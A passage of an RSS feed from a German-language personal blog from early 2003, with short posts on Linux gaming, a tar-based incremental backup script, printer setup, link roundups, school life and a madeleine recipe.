  15932.    <content:encoded><![CDATA[Ich habs ja schon immer gesagt. <a href="http://heise.de/newsticker/data/pmz-06.02.03-002/"><b>Selber schauen.</b></a>
  15933. ]]></content:encoded>
  15934.  </item>
  15935.  
  15936.  <item>
  15937.    <title>zeugs</title>
  15938.    <link>https://blog.x-way.org/Linux/2003/02/06/zeugs.html</link>
  15939.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=268</guid>
  15940.    <dc:creator>Andreas Jaggi</dc:creator>
  15941.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15942.    <pubDate>Thu, 06 Feb 2003 18:51:00 +0100</pubDate>
  15943.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  15944.    <description><![CDATA[<a href="https://web.archive.org/web/20060715140732/http://rw.fuq-u.org/"><b>rw</b></a> hat wiedereinmal ein paar nützliche tutorials aufgestöbert/geschrieben:<br>- <a href="https://web.archive.org/web/20030211085525/https://www.floppymoose.com/"><b>Better Ad Blocking for Mozilla and Netscape 7</b></a><br>- <a href="http://www.pro-linux.de/news/2002/0088.html"><b>RPM- und TGZ-Paket erzeugen mit Checkinstall</b></a><br>- <a href="https://web.archive.org/web/20030413013755/http://www.robwei.de/texte/gnupg-qnd.html"><b>GnuPG - Quick 'n' dirty</b></a>
  15945. ]]></description>
  15946.    <content:encoded><![CDATA[<a href="https://web.archive.org/web/20060715140732/http://rw.fuq-u.org/"><b>rw</b></a> hat wiedereinmal ein paar nützliche tutorials aufgestöbert/geschrieben:<br>- <a href="https://web.archive.org/web/20030211085525/https://www.floppymoose.com/"><b>Better Ad Blocking for Mozilla and Netscape 7</b></a><br>- <a href="http://www.pro-linux.de/news/2002/0088.html"><b>RPM- und TGZ-Paket erzeugen mit Checkinstall</b></a><br>- <a href="https://web.archive.org/web/20030413013755/http://www.robwei.de/texte/gnupg-qnd.html"><b>GnuPG - Quick 'n' dirty</b></a>
  15947. ]]></content:encoded>
  15948.  </item>
  15949.  
  15950.  <item>
  15951.    <title>*gähn*</title>
  15952.    <link>https://blog.x-way.org/Misc/2003/02/03/gaehn.html</link>
  15953.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=267</guid>
  15954.    <dc:creator>Andreas Jaggi</dc:creator>
  15955.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15956.    <pubDate>Mon, 03 Feb 2003 02:22:00 +0100</pubDate>
  15957.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  15958.    <description><![CDATA[so jetzt ist 2:22:22 und ich geh jetzt schlafen ;-)
  15959. ]]></description>
  15960.    <content:encoded><![CDATA[so jetzt ist 2:22:22 und ich geh jetzt schlafen ;-)
  15961. ]]></content:encoded>
  15962.  </item>
  15963.  
  15964.  <item>
  15965.    <title>Wein</title>
  15966.    <link>https://blog.x-way.org/Linux/2003/02/03/Wein.html</link>
  15967.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=266</guid>
  15968.    <dc:creator>Andreas Jaggi</dc:creator>
  15969.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15970.    <pubDate>Mon, 03 Feb 2003 01:24:00 +0100</pubDate>
  15971.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  15972.    <description><![CDATA[Mit <a href="http://www.winehq.com/"><b>Wine</b></a> kann man so lustige Sachen wie <a href="https://blog.x-way.org/images/pinball.jpg"><b>diese</b></a> machen.<br>So, noch ein bisschen basteln, vielleicht krieg ich ja Fireworks so zum laufen :-)
  15973. ]]></description>
  15974.    <content:encoded><![CDATA[Mit <a href="http://www.winehq.com/"><b>Wine</b></a> kann man so lustige Sachen wie <a href="https://blog.x-way.org/images/pinball.jpg"><b>diese</b></a> machen.<br>So, noch ein bisschen basteln, vielleicht krieg ich ja Fireworks so zum laufen :-)
  15975. ]]></content:encoded>
  15976.  </item>
  15977.  
  15978.  <item>
  15979.    <title>Zuerst das Vergnügen dann nix mehr ;-)</title>
  15980.    <link>https://blog.x-way.org/Linux/2003/02/02/Zuerst_das_Vergnuegen_dann_nix_mehr_-.html</link>
  15981.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=265</guid>
  15982.    <dc:creator>Andreas Jaggi</dc:creator>
  15983.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15984.    <pubDate>Sun, 02 Feb 2003 01:11:00 +0100</pubDate>
  15985.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  15986.    <description><![CDATA[Nebst UT und UT2003 läuft jetzt auch Quake3A :-)
  15987. ]]></description>
  15988.    <content:encoded><![CDATA[Nebst UT und UT2003 läuft jetzt auch Quake3A :-)
  15989. ]]></content:encoded>
  15990.  </item>
  15991.  
  15992.  <item>
  15993.    <title>Backup, besser</title>
  15994.    <link>https://blog.x-way.org/Linux/2003/02/01/Backup_besser.html</link>
  15995.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=264</guid>
  15996.    <dc:creator>Andreas Jaggi</dc:creator>
  15997.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15998.    <pubDate>Sat, 01 Feb 2003 16:10:00 +0100</pubDate>
  15999.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  16000.    <description><![CDATA[Leider kommt das gepostete Script nicht mit Ordnernamen, die mit Spaces vermurkst sind (ja genau, von Windows), zurecht. Wenn man nun zuerst die Ergebnisse von find ... in eine Datei speichert (mit -fprint Datei) und diese dann dem tar ... übergibt (mit --files-from=Datei) funktionierts! Evtl. muss man noch mittels --exclude=Datei diese Hilfsdatei vorm tar verstecken ;-)
  16001. ]]></description>
  16002.    <content:encoded><![CDATA[Leider kommt das gepostete Script nicht mit Ordnernamen, die mit Spaces vermurkst sind (ja genau, von Windows), zurecht. Wenn man nun zuerst die Ergebnisse von find ... in eine Datei speichert (mit -fprint Datei) und diese dann dem tar ... übergibt (mit --files-from=Datei) funktionierts! Evtl. muss man noch mittels --exclude=Datei diese Hilfsdatei vorm tar verstecken ;-)
  16003. ]]></content:encoded>
  16004.  </item>
  16005.  
  16006.  <item>
  16007.    <title>Backup</title>
  16008.    <link>https://blog.x-way.org/Linux/2003/02/01/Backup.html</link>
  16009.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=263</guid>
  16010.    <dc:creator>Andreas Jaggi</dc:creator>
  16011.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16012.    <pubDate>Sat, 01 Feb 2003 03:05:00 +0100</pubDate>
  16013.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  16014.    <description><![CDATA[Ich hab mich mal ein bisschen mit inkrementellem Backup beschäftigt. Rausgekommen ist das hier, vielleicht kanns ja sonst noch jemand gebrauchen.<pre>today=`date +%d%b%Y`
  16015. backup_path=/backup
  16016. tar -cvf $backup_path/backup_$today.tar `find /home /www /root -newer $backup_path ! -name *~ ! -type d -print` > $backup_path/backup_$today.toc</pre>
  16017. Dieses Shellscript macht ein tar-file mit den Dateien aus /home, /www und /root, die seit dem letzten Backup verändert wurden und legt dieses unter /backup ab inklusive einer Inhaltsangabe :-)
  16018. ]]></description>
  16019.    <content:encoded><![CDATA[Ich hab mich mal ein bisschen mit inkrementellem Backup beschäftigt. Rausgekommen ist das hier, vielleicht kanns ja sonst noch jemand gebrauchen.<pre>today=`date +%d%b%Y`
  16020. backup_path=/backup
  16021. tar -cvf $backup_path/backup_$today.tar `find /home /www /root -newer $backup_path ! -name *~ ! -type d -print` > $backup_path/backup_$today.toc</pre>
  16022. Dieses Shellscript macht ein tar-file mit den Dateien aus /home, /www und /root, die seit dem letzten Backup verändert wurden und legt dieses unter /backup ab inklusive einer Inhaltsangabe :-)
  16023. ]]></content:encoded>
  16024.  </item>
  16025.  
  16026.  <item>
  16027.    <title>Die Aussicht geniessen</title>
  16028.    <link>https://blog.x-way.org/Misc/2003/01/31/Die_Aussicht_geniessen.html</link>
  16029.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=262</guid>
  16030.    <dc:creator>Andreas Jaggi</dc:creator>
  16031.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16032.    <pubDate>Fri, 31 Jan 2003 03:25:00 +0100</pubDate>
  16033.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  16034.    <description><![CDATA[<a href="https://blog.x-way.org/images/Shot00002.png"><img src="https://blog.x-way.org/images/Shot00002_s.png" width="160" height="120" alt="Screenshot aus UT2003 - Klick für grösser"></a><a href="https://blog.x-way.org/images/Shot00003.png"><img src="https://blog.x-way.org/images/Shot00003_s.png" width="160" height="120" alt="Screenshot aus UT2003 - Klick für grösser"></a>
  16035. ]]></description>
  16036.    <content:encoded><![CDATA[<a href="https://blog.x-way.org/images/Shot00002.png"><img src="https://blog.x-way.org/images/Shot00002_s.png" width="160" height="120" alt="Screenshot aus UT2003 - Klick für grösser"></a><a href="https://blog.x-way.org/images/Shot00003.png"><img src="https://blog.x-way.org/images/Shot00003_s.png" width="160" height="120" alt="Screenshot aus UT2003 - Klick für grösser"></a>
  16037. ]]></content:encoded>
  16038.  </item>
  16039.  
  16040.  <item>
  16041.    <title>UT-ig</title>
  16042.    <link>https://blog.x-way.org/Linux/2003/01/29/UT-ig.html</link>
  16043.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=261</guid>
  16044.    <dc:creator>Andreas Jaggi</dc:creator>
  16045.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16046.    <pubDate>Wed, 29 Jan 2003 15:36:00 +0100</pubDate>
  16047.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  16048.    <description><![CDATA[Jetzt läuft nebst UT auch UT2003 mit Gentoo :-)<br>Screenshots und Framerates gibts (noch) nicht ;-P
  16049. ]]></description>
  16050.    <content:encoded><![CDATA[Jetzt läuft nebst UT auch UT2003 mit Gentoo :-)<br>Screenshots und Framerates gibts (noch) nicht ;-P
  16051. ]]></content:encoded>
  16052.  </item>
  16053.  
  16054.  <item>
  16055.    <title>Laaaaaaaaaaaag !!!</title>
  16056.    <link>https://blog.x-way.org/Networking/2003/01/27/Laaaaaaaaaaaag_.html</link>
  16057.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=260</guid>
  16058.    <dc:creator>Andreas Jaggi</dc:creator>
  16059.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16060.    <pubDate>Mon, 27 Jan 2003 22:05:00 +0100</pubDate>
  16061.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  16062.    <description><![CDATA[würde es an einer LAN heissen.<br>Das Internet lahmt momentan teilweise wie Sau und es liegt vermutlich <a href="http://heise.de/newsticker/data/pab-27.01.03-000/"><b>daran</b></a>, da ich nicht wie <a href="http://schockwellenreiter.de/"><b>andere</b></a> mit T-Dings ins Netz gehe *hehe*
  16063. ]]></description>
  16064.    <content:encoded><![CDATA[würde es an einer LAN heissen.<br>Das Internet lahmt momentan teilweise wie Sau und es liegt vermutlich <a href="http://heise.de/newsticker/data/pab-27.01.03-000/"><b>daran</b></a>, da ich nicht wie <a href="http://schockwellenreiter.de/"><b>andere</b></a> mit T-Dings ins Netz gehe *hehe*
  16065. ]]></content:encoded>
  16066.  </item>
  16067.  
  16068.  <item>
  16069.    <title>Hammer</title>
  16070.    <link>https://blog.x-way.org/Tech/2003/01/27/Hammer.html</link>
  16071.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=259</guid>
  16072.    <dc:creator>Andreas Jaggi</dc:creator>
  16073.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16074.    <pubDate>Mon, 27 Jan 2003 21:45:00 +0100</pubDate>
  16075.    <category domain="https://blog.x-way.org/Tech/">Tech</category>
  16076.    <description><![CDATA[Ich glaub ich werd mir den Hammer kaufen *g*
  16077. ]]></description>
  16078.    <content:encoded><![CDATA[Ich glaub ich werd mir den Hammer kaufen *g*
  16079. ]]></content:encoded>
  16080.  </item>
  16081.  
  16082.  <item>
  16083.    <title>Still alive</title>
  16084.    <link>https://blog.x-way.org/Misc/2003/01/27/Still_alive.html</link>
  16085.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=258</guid>
  16086.    <dc:creator>Andreas Jaggi</dc:creator>
  16087.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16088.    <pubDate>Mon, 27 Jan 2003 21:44:00 +0100</pubDate>
  16089.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  16090.    <description><![CDATA[So, nach dem Begiessen des Notenschlusses (22.1.) und anderen Feierlichkeiten, machten wir heute eine Betreibsbesichtigung bei der Firma <a href="http://moog.ch/"><b>Moog</b></a>, welche laut Michael S. (dessen Grossvater dat die Firma gegründet) die besten Hochdruckreiniger der Welt herstellt.
  16091. ]]></description>
  16092.    <content:encoded><![CDATA[So, nach dem Begiessen des Notenschlusses (22.1.) und anderen Feierlichkeiten, machten wir heute eine Betreibsbesichtigung bei der Firma <a href="http://moog.ch/"><b>Moog</b></a>, welche laut Michael S. (dessen Grossvater dat die Firma gegründet) die besten Hochdruckreiniger der Welt herstellt.
  16093. ]]></content:encoded>
  16094.  </item>
  16095.  
  16096.  <item>
  16097.    <title>waimea</title>
  16098.    <link>https://blog.x-way.org/Linux/2003/01/21/waimea.html</link>
  16099.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=257</guid>
  16100.    <dc:creator>Andreas Jaggi</dc:creator>
  16101.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16102.    <pubDate>Tue, 21 Jan 2003 20:30:00 +0100</pubDate>
  16103.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  16104.    <description><![CDATA[Gerade bei <a href="http://kniebes.com/"><b>mk</b></a> entdeckt: <a href="https://web.archive.org/web/20030130153404/http://www.waimea.org/"><b>waimea</b></a>, ein WindowManager, der mich vor allem mit dem schönen Standard-Hintergrund überrascht hat *g*<br>Er soll auch mit BlackBox-Styles umgehen können und mit Transparenz noch mehr...<br><br><a href="https://blog.x-way.org/images/waimea.jpg"><b>Screenshot</b></a>
  16105. ]]></description>
  16106.    <content:encoded><![CDATA[Gerade bei <a href="http://kniebes.com/"><b>mk</b></a> entdeckt: <a href="https://web.archive.org/web/20030130153404/http://www.waimea.org/"><b>waimea</b></a>, ein WindowManager, der mich vor allem mit dem schönen Standard-Hintergrund überrascht hat *g*<br>Er soll auch mit BlackBox-Styles umgehen können und mit Transparenz noch mehr...<br><br><a href="https://blog.x-way.org/images/waimea.jpg"><b>Screenshot</b></a>
  16107. ]]></content:encoded>
  16108.  </item>
  16109.  
  16110.  <item>
  16111.    <title>Tunning</title>
  16112.    <link>https://blog.x-way.org/Linux/2003/01/21/Tunning.html</link>
  16113.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=256</guid>
  16114.    <dc:creator>Andreas Jaggi</dc:creator>
  16115.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16116.    <pubDate>Tue, 21 Jan 2003 00:26:00 +0100</pubDate>
  16117.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  16118.    <description><![CDATA[<a href="http://kniebes.com/"><b>mk</b></a> macht auf seinen Seiten nun eine Sammlung von Tutorials zu Linux und X11. Aber nicht 'normale' Tutorials sondern eher Tunning-Tutorials :-)
  16119. ]]></description>
  16120.    <content:encoded><![CDATA[<a href="http://kniebes.com/"><b>mk</b></a> macht auf seinen Seiten nun eine Sammlung von Tutorials zu Linux und X11. Aber nicht 'normale' Tutorials sondern eher Tunning-Tutorials :-)
  16121. ]]></content:encoded>
  16122.  </item>
  16123.  
  16124.  <item>
  16125.    <title>Spinnerei</title>
  16126.    <link>https://blog.x-way.org/Linux/2003/01/21/Spinnerei.html</link>
  16127.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=255</guid>
  16128.    <dc:creator>Andreas Jaggi</dc:creator>
  16129.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16130.    <pubDate>Tue, 21 Jan 2003 00:23:00 +0100</pubDate>
  16131.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  16132.    <description><![CDATA[Wer Spass haben will kann unter Linux mal folgendes ausprobieren:<pre>su
  16133. root-passwort
  16134. cat /dev/mouse &gt; /dev/Pfad zum Drucker
  16135. </pre>
  16136. ]]></description>
  16137.    <content:encoded><![CDATA[Wer Spass haben will kann unter Linux mal folgendes ausprobieren:<pre>su
  16138. root-passwort
  16139. cat /dev/mouse &gt; /dev/Pfad zum Drucker
  16140. </pre>
  16141. ]]></content:encoded>
  16142.  </item>
  16143.  
  16144.  <item>
  16145.    <title>Alimentarium</title>
  16146.    <link>https://blog.x-way.org/Food/2003/01/20/Alimentarium.html</link>
  16147.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=254</guid>
  16148.    <dc:creator>Andreas Jaggi</dc:creator>
  16149.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16150.    <pubDate>Mon, 20 Jan 2003 20:32:00 +0100</pubDate>
  16151.    <category domain="https://blog.x-way.org/Food/">Food</category>
  16152.    <description><![CDATA[Dimanche on était à <a href="http://www.vevey.ch/"><b>Vevey</b></a> dans l'<a href="http://www.alimentarium.ch/"><b>Alimentarium</b></a>. C'est une musée très intéressant et très recommandable!<br><br>On y pouvait faire des Madeleines avec cette recette:<br><br>Madeleines à l'huile d'olive<br>Selon une recette espagnole<br><br>Pour 9 à 12 moules<br><br>1 oeuf<br>110 g sucre<br>85 g huile d'olive<br>150 g farine<br>1/2 c. à café poudre à lever<br>75 ml de lait<br>1 pincée sel<br><br>Mélanger le sucre, l'oeuf, le sel.<br>Mélanger la poudre à lever avec la farine.<br>Incorporer alternativement le mélange poudre à lever-farine, l'huile, le lait.<br><br>Si on préfère une texture fine, ne pas trop battre la pâte.<br>Au contraire, pour qu'elle forme une belle boule sur le dessus, travailler la pâte au moins 5 min au batteur électrique.<br><br>Graisser les moules au pinceau avec un peu d'huile.<br>Remplir les moules aux trois quarts.<br><br>Cuisson: env. 15 min à 180°C
  16153. ]]></description>
  16154.    <content:encoded><![CDATA[Dimanche on était à <a href="http://www.vevey.ch/"><b>Vevey</b></a> dans l'<a href="http://www.alimentarium.ch/"><b>Alimentarium</b></a>. C'est une musée très intéressant et très recommandable!<br><br>On y pouvait faire des Madeleines avec cette recette:<br><br>Madeleines à l'huile d'olive<br>Selon une recette espagnole<br><br>Pour 9 à 12 moules<br><br>1 oeuf<br>110 g sucre<br>85 g huile d'olive<br>150 g farine<br>1/2 c. à café poudre à lever<br>75 ml de lait<br>1 pincée sel<br><br>Mélanger le sucre, l'oeuf, le sel.<br>Mélanger la poudre à lever avec la farine.<br>Incorporer alternativement le mélange poudre à lever-farine, l'huile, le lait.<br><br>Si on préfère une texture fine, ne pas trop battre la pâte.<br>Au contraire, pour qu'elle forme une belle boule sur le dessus, travailler la pâte au moins 5 min au batteur électrique.<br><br>Graisser les moules au pinceau avec un peu d'huile.<br>Remplir les moules aux trois quarts.<br><br>Cuisson: env. 15 min à 180°C
  16155. ]]></content:encoded>
  16156.  </item>
  16157.  
  16158.  <item>
  16159.    <title>Zeitvertrieb</title>
  16160.    <link>https://blog.x-way.org/Misc/2003/01/18/Zeitvertrieb.html</link>
  16161.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=253</guid>
  16162.    <dc:creator>Andreas Jaggi</dc:creator>
  16163.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16164.    <pubDate>Sat, 18 Jan 2003 14:39:00 +0100</pubDate>
  16165.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  16166.    <description><![CDATA[So. Am Donnerstag war ich am Infotag der <a href="http://www.unibe.ch/"><b>Uni Bern</b></a>. Dieser war jedoch nicht so überzeugend wie der der <a href="http://www.ethz.ch/"><b>ETH Zürich</b></a>. So langsam bekomme ich das Gefühl, dass dieses Studieren doch nix für mich ist.<br><br>Am Abend dann noch in Bern Lord of the Rings II angeschaut, zum zweiten Mal, aber auf Englisch, was definitiv besser ist.<br><br>Nach einer kurzen Nacht dann am Freitag in der Schule so richtig ausgehängt :-)<br><br>Als ich nach dem Befeiern des 9. Tages Schule im neuen Jahr endlich nach Hause gefunden hatte und den Computer startete, ertönte ein mir unbekanntes Geräusch. Es klang, als würde ein Lüfter irgendwie falsch drehen, d.h. irgend eine anderes Teil abreiben. Ich lokaliseirte das Problem vermutlich beim Netzteil. Also schnell den Computer ausgeschaltet, Netzteil ausgebaut. Vorsichtig das Netzteil augeschraubt und dort die Lüfter ausgebaut (Ja, ich lebe noch ;-), mit dem Staubsauger ein bisschen den Dreck weggemacht, etwas an den Lüfter rumgedrückt, wieder alles zusammengebaut und den Computer eingeschaltet. Et voilà, der Computer läuft wieder mit der mir bekannten Dezibellzahl ;-)
  16167. ]]></description>
  16168.    <content:encoded><![CDATA[So. Am Donnerstag war ich am Infotag der <a href="http://www.unibe.ch/"><b>Uni Bern</b></a>. Dieser war jedoch nicht so überzeugend wie der der <a href="http://www.ethz.ch/"><b>ETH Zürich</b></a>. So langsam bekomme ich das Gefühl, dass dieses Studieren doch nix für mich ist.<br><br>Am Abend dann noch in Bern Lord of the Rings II angeschaut, zum zweiten Mal, aber auf Englisch, was definitiv besser ist.<br><br>Nach einer kurzen Nacht dann am Freitag in der Schule so richtig ausgehängt :-)<br><br>Als ich nach dem Befeiern des 9. Tages Schule im neuen Jahr endlich nach Hause gefunden hatte und den Computer startete, ertönte ein mir unbekanntes Geräusch. Es klang, als würde ein Lüfter irgendwie falsch drehen, d.h. irgend eine anderes Teil abreiben. Ich lokaliseirte das Problem vermutlich beim Netzteil. Also schnell den Computer ausgeschaltet, Netzteil ausgebaut. Vorsichtig das Netzteil augeschraubt und dort die Lüfter ausgebaut (Ja, ich lebe noch ;-), mit dem Staubsauger ein bisschen den Dreck weggemacht, etwas an den Lüfter rumgedrückt, wieder alles zusammengebaut und den Computer eingeschaltet. Et voilà, der Computer läuft wieder mit der mir bekannten Dezibellzahl ;-)
  16169. ]]></content:encoded>
  16170.  </item>
  16171.  
  16172.  <item>
  16173.    <title>mmm</title>
  16174.    <link>https://blog.x-way.org/Misc/2003/01/13/mmm.html</link>
  16175.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=252</guid>
  16176.    <dc:creator>Andreas Jaggi</dc:creator>
  16177.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16178.    <pubDate>Mon, 13 Jan 2003 20:53:00 +0100</pubDate>
  16179.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  16180.    <description><![CDATA[unter <a href="https://web.archive.org/web/20030207160955/http://farfar.2038.com/english/loader.html"><b>milko music machine</b></a> kann man mal so richtig die puppen tanzen lassen *g*<br><br>ja, ich weiss schon, sind kühe, aber puppen passte besser in den satz ;-)
  16181. ]]></description>
  16182.    <content:encoded><![CDATA[unter <a href="https://web.archive.org/web/20030207160955/http://farfar.2038.com/english/loader.html"><b>milko music machine</b></a> kann man mal so richtig die puppen tanzen lassen *g*<br><br>ja, ich weiss schon, sind kühe, aber puppen passte besser in den satz ;-)
  16183. ]]></content:encoded>
  16184.  </item>
  16185.  
  16186.  <item>
  16187.    <title>MPlayer</title>
  16188.    <link>https://blog.x-way.org/Linux/2003/01/13/MPlayer.html</link>
  16189.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=251</guid>
  16190.    <dc:creator>Andreas Jaggi</dc:creator>
  16191.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16192.    <pubDate>Mon, 13 Jan 2003 20:13:00 +0100</pubDate>
  16193.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  16194.    <description><![CDATA[Nein, nicht MPlayer wie mplayer.exe !!!<br><br>Sondern <a href="http://www.mplayerhq.hu/homepage/"><b>MPlayer</b></a>. Wie vielerorts gesagt, kann auch ich mich daran anschliessen: geiles Tool ;-)<br><br>MPlayer mit aalib (daher die vielen Buchstaben ;-) : <a href="https://blog.x-way.org/images/aalib-mplayer.gif"><b>Screenshot</b></a>
  16195. ]]></description>
  16196.    <content:encoded><![CDATA[Nein, nicht MPlayer wie mplayer.exe !!!<br><br>Sondern <a href="http://www.mplayerhq.hu/homepage/"><b>MPlayer</b></a>. Wie vielerorts gesagt, kann auch ich mich daran anschliessen: geiles Tool ;-)<br><br>MPlayer mit aalib (daher die vielen Buchstaben ;-) : <a href="https://blog.x-way.org/images/aalib-mplayer.gif"><b>Screenshot</b></a>
  16197. ]]></content:encoded>
  16198.  </item>
  16199.  
  16200.  <item>
  16201.    <title>Welcome to Danemark!</title>
  16202.    <link>https://blog.x-way.org/Misc/2003/01/12/Welcome_to_Danemark.html</link>
  16203.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=250</guid>
  16204.    <dc:creator>Andreas Jaggi</dc:creator>
  16205.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16206.    <pubDate>Sun, 12 Jan 2003 05:36:00 +0100</pubDate>
  16207.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  16208.    <description><![CDATA[Via <a href="https://web.archive.org/web/20030130142358/http://pzy.blogt.net/" title="pzy.blogt.net (archive.org)"><b>pzy</b></a> einen <a href="https://web.archive.org/web/20030401230212/http://olivierbazin.free.fr/party/nights/babez_php.htm"><b>Link</b></a> gefunden, welcher evtl. bei einigen Personen unserer Klasse, die Lust auf die Maturreise nach Dänemark steigert ;-)
  16209. ]]></description>
  16210.    <content:encoded><![CDATA[Via <a href="https://web.archive.org/web/20030130142358/http://pzy.blogt.net/" title="pzy.blogt.net (archive.org)"><b>pzy</b></a> einen <a href="https://web.archive.org/web/20030401230212/http://olivierbazin.free.fr/party/nights/babez_php.htm"><b>Link</b></a> gefunden, welcher evtl. bei einigen Personen unserer Klasse, die Lust auf die Maturreise nach Dänemark steigert ;-)
  16211. ]]></content:encoded>
  16212.  </item>
  16213.  
  16214.  <item>
  16215.    <title>The Hacker FAQ</title>
  16216.    <link>https://blog.x-way.org/Misc/2003/01/11/The_Hacker_FAQ.html</link>
  16217.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=249</guid>
  16218.    <dc:creator>Andreas Jaggi</dc:creator>
  16219.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16220.    <pubDate>Sat, 11 Jan 2003 22:58:00 +0100</pubDate>
  16221.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  16222.    <description><![CDATA[<a href="http://www.plethora.net/%7Eseebs/faqs/hacker.html"><b>The Hacker FAQ</b></a>, gefunden bei <a href="https://web.archive.org/web/20030602203153/http://unix-girl.com/blog/"><b>kasia</b></a>.<br><br>Und nein, es ist nicht das was ihr denkt ;-)
  16223. ]]></description>
  16224.    <content:encoded><![CDATA[<a href="http://www.plethora.net/%7Eseebs/faqs/hacker.html"><b>The Hacker FAQ</b></a>, gefunden bei <a href="https://web.archive.org/web/20030602203153/http://unix-girl.com/blog/"><b>kasia</b></a>.<br><br>Und nein, es ist nicht das was ihr denkt ;-)
  16225. ]]></content:encoded>
  16226.  </item>
  16227.  
  16228.  <item>
  16229.    <title>Es druckt!</title>
  16230.    <link>https://blog.x-way.org/Linux/2003/01/11/Es_druckt.html</link>
  16231.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=248</guid>
  16232.    <dc:creator>Andreas Jaggi</dc:creator>
  16233.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16234.    <pubDate>Sat, 11 Jan 2003 22:41:00 +0100</pubDate>
  16235.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  16236.    <description><![CDATA[Mit Hilfe von <a href="https://web.archive.org/web/20030115073324/http://www.gentoo.de/gentoo/inhalte/doku/fortgeschritten/drucken/"><b>diesem Tutorial</b></a> habe ich nun mein <a href="http://www.gentoo.org/"><b>Gentoo</b></a> so eingerichtet, dass es mit meinem HP PSC 950 zusammen drucken kann.
  16237. ]]></description>
  16238.    <content:encoded><![CDATA[Mit Hilfe von <a href="https://web.archive.org/web/20030115073324/http://www.gentoo.de/gentoo/inhalte/doku/fortgeschritten/drucken/"><b>diesem Tutorial</b></a> habe ich nun mein <a href="http://www.gentoo.org/"><b>Gentoo</b></a> so eingerichtet, dass es mit meinem HP PSC 950 zusammen drucken kann.
  16239. ]]></content:encoded>
  16240.  </item>
  16241.  
  16242.  <item>
  16243.    <title>*schnarch*</title>
  16244.    <link>https://blog.x-way.org/Misc/2003/01/11/schnarch2.html</link>
  16245.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=247</guid>
  16246.    <dc:creator>Andreas Jaggi</dc:creator>
  16247.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16248.    <pubDate>Sat, 11 Jan 2003 21:07:00 +0100</pubDate>
  16249.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  16250.    <description><![CDATA[So, heute mal wieder bis 16:30 Uhr geschlafen ...
  16251. ]]></description>
